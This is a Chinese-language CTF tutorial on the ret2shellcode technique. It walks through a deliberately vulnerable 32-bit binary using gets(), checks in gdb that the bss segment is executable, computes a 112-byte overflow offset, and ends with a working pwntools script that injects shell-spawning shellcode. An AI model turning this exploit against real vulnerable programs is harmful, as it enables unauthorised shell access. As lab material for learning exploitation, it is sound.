前言
参考:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode
原理
控制程序执行 shellcode 代码
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell
通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限
注意,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用
需要在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。这里采用 Ubuntu 18.04
例子
几乎没保护,有 RWX 可读可写可执行权限
反编译一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
依旧是基本的 gets 栈溢出,这里把我们输入的字符串复制到了 buf2 处
这时我们调试下程序,看一下 bss 段是否是可执行的
直接在 main 下断点并执行
b main
r
然后使用vmmap
查看程序各种段的地址和范围
可以看到 buf2 所在的 0x804a080 在 0x804a000 ~ 0x804b000 之间,具有 rwxp 权限,有可执行权限
那么我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode
先算偏移,IDA 给的是 0x64+0x4,但是测了一下没成功
那么用 gdb 的 cyclic 算一下,先下断点,生成一长串字符填进去爆出溢出地址
然后用 cyclic -l
算出溢出长度
那么溢出长度就是 112
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()